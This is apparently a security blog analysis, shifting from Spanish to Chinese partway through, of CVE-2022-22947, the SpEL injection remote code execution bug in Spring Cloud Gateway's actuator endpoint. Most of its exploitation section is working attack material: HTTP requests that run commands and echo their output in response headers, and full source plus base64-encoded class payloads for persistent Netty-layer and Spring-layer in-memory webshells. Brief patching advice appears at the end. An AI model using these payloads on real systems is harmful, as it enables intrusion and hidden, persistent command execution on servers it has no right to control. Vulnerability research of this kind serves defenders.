
Spring Cloud Gateway es un nuevo proyecto de Spring Cloud. Este proyecto es una puerta de enlace desarrollada sobre tecnologías como Spring 5.0, Spring Boot 2.0 y Project Reactor, y tiene como objetivo proporcionar una forma sencilla y eficaz de gestión unificada de rutas API para arquitecturas de microservicios. Recientemente se reveló una RCE crítica en Spring Cloud Gateway CVE. La información del CVE muestra que cuando la aplicación habilita y expone el endpoint Gateway Actuator de Spring Cloud Gateway, es vulnerable a ataques de inyección remota de código: un atacante puede enviar solicitudes maliciosas para ejecutar código arbitrario de forma remota. Las versiones afectadas actualmente son las siguientes:
Este análisis reproduce el CVE para aprender el principio de la vulnerabilidad y explorar formas de explotación más avanzadas.
Cree un proyecto Maven con las siguientes dependencias:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
En la configuración predeterminada de Spring Boot, solo el endpoint `health` está abierto a la web; si necesita abrir `gateway`, debe configurarlo manualmente. Consulte la [documentación oficial](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) y [【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api):```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
Envía el siguiente POC:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

Luego envía ```POST /actuator/gateway/refresh``` para actualizar la información de la caché de rutas y así activar el POC:

## Análisis del principio
Observando el POC anterior, primero se añade dinámicamente una ruta mediante ```POST /actuator/gateway/routes/test2```. Durante el proceso de añadir la ruta, hay un filter que, al procesar el parámetro de entrada, puede analizar ese valor como una expresión spel, y luego, al actualizar la caché de rutas, se activa la ejecución del POC.
Primero veamos el mecanismo de configuración de rutas dinámicas de Spring Cloud Gateway.
### Configuración de rutas dinámicas
Spring Cloud Gateway admite registrar rutas mediante código/archivos de configuración. Tomando como ejemplo el [demo](https://spring.io/guides/gs/gateway/) del sitio oficial:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
La forma de los archivos de configuración es similar al código:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
Las rutas añadidas mediante estos dos métodos son fijas; si es necesario añadir, modificar o eliminar configuraciones y reglas de rutas, se debe reiniciar la aplicación para que surtan efecto. Sin embargo, en la práctica, spring cloud gateway, al ser la puerta de entrada de todo el tráfico, debe garantizar una alta disponibilidad del sistema. Por lo tanto, una vez que spring cloud gateway expone el endpoint `/gateway`, se puede usar `/gateway/routes` para añadir, eliminar y modificar la información de rutas dinámicas. Pero la información de rutas de este método solo existe en memoria; una vez que el servicio se reinicia, la configuración de rutas recién añadida se pierde.
A partir del formato de registro de rutas anterior se puede observar que una información de ruta incluye el uri de destino, la colección de filters y la colección de predicates. Entre ellos, los predicates pueden realizar la coincidencia de solicitudes basándose en cualquier contenido de la solicitud HTTP (cabeceras, parámetros). spring cloud gateway incluye muchas clases de fábrica de route predicate integradas, como Before, After, Between, Cookie, Header, Host, [Path, etc.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

Los filters se utilizan para modificar la solicitud o la respuesta antes o después de enviarla; también incluyen muchas colecciones de filters integrados. En el payload de ejecución de RCE anterior, el filter que usamos fue AddResponseHeader. Otros filters incluyen RewritePath, SetPath, etc. Hay dos tipos de filters: uno es el GlobalFilter, que es válido para todas las rutas, y el otro es el GatewayFilter, que solo es válido para una única ruta. Para más detalles, consulte https://www.cnblogs.com/duanxz/p/14780675.html.
,
## Flujo de la solicitud
Entonces, ¿cuál es el flujo específico cuando una solicitud llega a través del gateway hasta el servicio proxy (proxied service) en el backend? El flujo del documento oficial es el siguiente:

El cliente envía una solicitud a Spring Cloud Gateway, y en el GateWay Handler Mapping se encuentra la ruta que coincide con la solicitud, que luego se envía al GateWay Web Handler. El Handler envía la solicitud a través de la cadena de filtros especificada a nuestro servicio real, que ejecuta la lógica de negocio, y luego se devuelve la respuesta. Los filtros están separados por líneas discontinuas porque pueden ejecutar lógica de negocio antes (pre) o después (post) de enviar la solicitud de proxy.
RoutePredicateHandlerMapping busca la ruta y luego la procesa el webHandler:

En el webHandler se obtienen los gatewayFilters y los globalFilters, se ordenan según el valor de Order definido en los filters para formar una filterchain y se ejecutan todos los filters.

### Registro de rutas dinámicas
A continuación, veamos específicamente por qué añadir una ruta mediante el endpoint del gateway desencadena la ejecución de spel.```POST /actuator/gateway/routes/{id}```添加路由时首先校验route定义中的filter和predicates,校验方式是检查filterName和predicatesName是否在已定义的filter集合和predicates集合内,校验通过之后将该路由信息保存到内存路由信息map中:



然后刷新路由缓存时,经过如下的调用栈后在RouteDefinitionRouteLocator.convertToRoute()方法中分别解析route定义中的predicates和filter:
```text
at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator.convertToRoute(RouteDefinitionRouteLocator.java:116)
at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$883.729787591.apply(Unknown Source:-1)
... // mecanismo de publisher y subscriber de Spring WebFlux
at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:81)
at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:40)
at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:176)
at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:169)
at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:143)
at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:421)
at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:378)
at org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint.refresh(AbstractGatewayControllerEndpoint.java:96)```

解析filter的过程中根据定义中的filterName获取到对应的GatewayFilterFactory,然后进入ConfigurationService将各属性键值绑定之前会先进行normalizedProperties处理,处理的过程中对value进行了spel解析后再进行绑定:


在上面的整个过程中,保存路由信息的时候会校验route定义中的filter是否合法,合法才会把路由信息保存到内存map中,而且在刷新之后解析路由的时候也校验了是否能根据定义中的filterName获取到对应的GatewayFilterFactory,能获取到才进行属性键值绑定处理,所以漏洞触发可使用的filter就包括了已定义的所有合法filter:

```text
0 = "SetPath"
1 = "RequestHeaderToRequestUri"
2 = "RequestHeaderSize"
3 = "RemoveRequestHeader"
4 = "RemoveRequestParameter"
5 = "ModifyRequestBody"
6 = "AddRequestParameter"
7 = "RewriteLocationResponseHeader"
8 = "MapRequestHeader"
9 = "DedupeResponseHeader"
10 = "PreserveHostHeader"
11 = "RewritePath"
12 = "SetStatus"
13 = "SetRequestHeader"
14 = "PrefixPath"
15 = "SetRequestHostHeader"
16 = "SaveSession"
17 = "StripPrefix"
18 = "ModifyResponseBody"
19 = "RequestSize"
20 = "RedirectTo"
21 = "SetResponseHeader"
22 = "SecureHeaders"
23 = "AddResponseHeader"
24 = "Retry"
25 = "AddRequestHeader"
26 = "RemoveResponseHeader"
27 = "RewriteResponseHeader"```
上面是利用filter触发漏洞的整体过程,我们看到路由定义中的predicates的处理过程跟filter是类似的,那么predicates是否也能触发漏洞呢?已定义的所有predicates集合是不是也都可以用呢?
把payload中的predicates换上payload试试:

也是能成功触发的,可以利用的predicates集合包括以下已定义的所有predicates:

```text
0 = "After"
1 = "Before"
2 = "Between"
3 = "Cookie"
4 = "Header"
5 = "Host"
6 = "Method"
7 = "Path"
8 = "Query"
9 = "ReadBody"
10 = "RemoteAddr"
11 = "Weight"
12 = "CloudFoundryRouteService"```
综上,只要在添加路由的过程中使用的filters或者predicates的name值合法,当传入包含payload的spel表达式值时都可触发该漏洞。
## 漏洞利用
### 回显
上面的value经过spel解析之后的结果绑定到属性的value的时候,必须是String类型,上面提到的GatewayFilter中有一些是跟响应有关的如SetResponseHeader/AddResponseHeader等,所以可以利用这些响应相关的filter来完成利用后的回显:
```text
POST /actuator/gateway/routes/test4 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 422
Content-Type: application/json
{
"id": "test3",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/test4"}
}],
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(java.util.Base64).getEncoder().encodeToString(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream().readAllBytes())}"
}
}],
"uri": "http://127.0.0.1:9999/test4",
"order": 0
}]```

### 内存马
#### netty层内存马
以下内容参考了[这篇文章](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/)
常规中间件的内存马的构造思路:首先分析涉及处理请求的对象,通过它的源码看看是否能获取请求内容以及能否控制响应内容。然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即可。
spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。不像常规的中间件,filter/servlet/listener组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer(下面简称为configurer),因此注入netty内存马的关键是分析configurer如何被netty管理和工作的。最终netty层的内存马如下:
```java
```java
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;
public class NettyMemShell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
private ConnectionObserver connectionObserver;
private Channel channel;
private SocketAddress socketAddress;
public static String doInject(){
String msg = "inject-start";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemShell());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
@Override
// Paso 1. Como ChannelPipelineConfigurer, registrar el Handler en el pipeline
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
this.connectionObserver = connectionObserver;
this.channel = channel;
this.socketAddress = socketAddress;
ChannelPipeline pipeline = channel.pipeline();
// Agregar el handler del memory shell delante del handler de la capa Spring
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemShell());
}
@Override
// Paso 2. Como Handler para procesar solicitudes, aquí se implementa la lógica de funcionalidad del memory shell
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest)msg;
try {
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
// Devolver el resultado de la ejecución
send(ctx, execResult, HttpResponseStatus.OK);
return;
}
}catch (Exception e){
e.printStackTrace();
}
}
ctx.fireChannelRead(msg);
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
POC如下:
POST /actuator/gateway/routes/test5 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 8243
Content-Type: application/json
{
"id": "test5",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/test5"}
}],
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcBFAoAQQB8CA...\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}"
}
}],
"uri": "http://127.0.0.1:9999/test5",
"order": 0
}]```
#### Spring层内存马
Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler类和它三个组件来完成
* org.springframework.web.reactive.HandlerMapping 路由匹配器
* org.springframework.web.reactive.HandlerAdapter handler适配器
* org.springframework.web.reactive.HandlerResultHandler 结果处理器

基于这个流程,我们可以梳理出一个构造内存马的思路。让HandlerMapping注册一个映射关系,通过映射关系让特定的HandlerAdapter执行到我们的内存马流程,最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。最终利用RequestMappingHandlerMapping类形成的内存马如下:
```java
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}```
POC:
```text
POST /actuator/gateway/routes/test6 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 5148
Content-Type: application/json
{
"id": "test6",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/test6"}
}],
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcAigoABgBHCABICgAGAEkIADAHAEoHAEsHAEwHAE0KAAUATgoABwBPBwBQCAAyBwBRBwBSCgAOAEcIAFMKAA4AVAcAVQcAVgoAEgBXCABYCgAIAFkKAAsARwoABwBaCABbBwBcCABdBwBeCgBfAGAKAF8AYQoAYgBjCgAcAGQIAGUKABwAZgoAHABnBwBoCQBpAGoKACQAawEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAGwBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAnACgBAAxpbmplY3Qtc3RhcnQMAG0AbgEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAbwBwDABxAHIBABxTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsAQAQamF2YS9sYW5nL1N0cmluZwEANm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVyblBhcnNlcgEAAi8qDABzAHQBAEpvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVybgwAJwB1AQAADAAnAHYMAHcAeAEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEADGluamVjdC1lcnJvcgEAEWphdmEvdXRpbC9TY2FubmVyBwB5DAB6AHsMAHwAfQcAfgwAfwCADAAnAIEBAAJcQQwAggCDDACEAIUBACdvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHkHAIYMAIcAiAwAJwCJAQATamF2YS9pby9JT0V4Y2VwdGlvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAFcGFyc2UBAEYoTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQA2KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOylWAQIkKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAjb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXMBAAJPSwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czsBADooTGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOylWA CEACwAGAAAAAAADAAEAJwAoAAEAKQAAAC8AAQABAAAABSq3AAGxAAAAAgAqAAAABgABAAAADwArAAAADAABAAAABQAsAC0AAAAJAC4ALwABACkAAAFTAAoABwAAAJISAkwqtgADEgQGvQAFWQMSBlNZBBIHU1kFEghTtgAJTSwEtgAKEgsSDAS9AAVZAxINU7YACU67AA5ZtwAPEhC2ABE6BLsAElkEvQATWQMZBFO3ABQ6BbsACFkSFRkFAQEBAQEBtwAWOgYsKga9AAZZA7sAC1m3ABdTWQQtU1kFGQZTtgAYVxIZTKcAB00SG0wrsAABAAMAiQCMABoAAwAqAAAANgANAAAAEQADABMAIAAUACUAFQA2ABYARAAXAFYAGABpABkAhgAaAIkAHQCMABsAjQAcAJAAHgArAAAAUgAIACAAaQAwADEAAgA2AFMAMgAxAAMARABFADMANAAEAFYAMwA1ADYABQBpACAANwA4AAYAjQADADkAOgACAAAAkgA7ADwAAAADAI8APQA+AAEAPwAAABMAAv8AjAACBwAGBwANAAEHABoDAAEAMgBAAAIAKQAAAGgABAADAAAAJrsAHFm4AB0rtgAetgAftwAgEiG2ACK2ACNNuwAkWSyyACW3ACawAAAAAgAqAAAACgACAAAAIgAaACMAKwAAACAAAwAAACYALAAtAAAAAAAmAEEAPgABABoADABCAD4AAgBDAAAABAABAEQAAQBFAAAAAgBG\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}"
}
}],
"uri": "http://127.0.0.1:9999/test6",
"order": 0
}]```
其中的requestMappingHandlerMapping的获取方式比较巧妙,直接从SPEL上下文的beanFactory中获取:

## 漏洞修复
* 如果可以的话关闭Actuator gateway的暴露,这样至少只要不是能控制配置文件,就能避免远程代码执行(通过配置文件注册的路由也会走到上面spel解析的地方);
* 升级版本(官方修复方式:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e )
2.x 与 3.x 版本的区别
在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable 接口的 getValue 方法中使用了 StandardEvaluationContext 类来执行 SpEL 表达式。
第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。
第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService 类的内部类 ConfigurableBuilder 的 normalizeProperties 方法(重写了父类中的方法)中调用了 normalize 方法。而 ConfigurableBuilder 类继承自内部抽象类 AbstractBuilder。AbstractBuilder 类中有一公有方法 bind 调用了 normalizeProperties 方法。
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://www.cnblogs.com/duanxz/p/14780675.html
https://mp.weixin.qq.com/s/w3et7TzqZ4ctyybEWQ82HQ
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/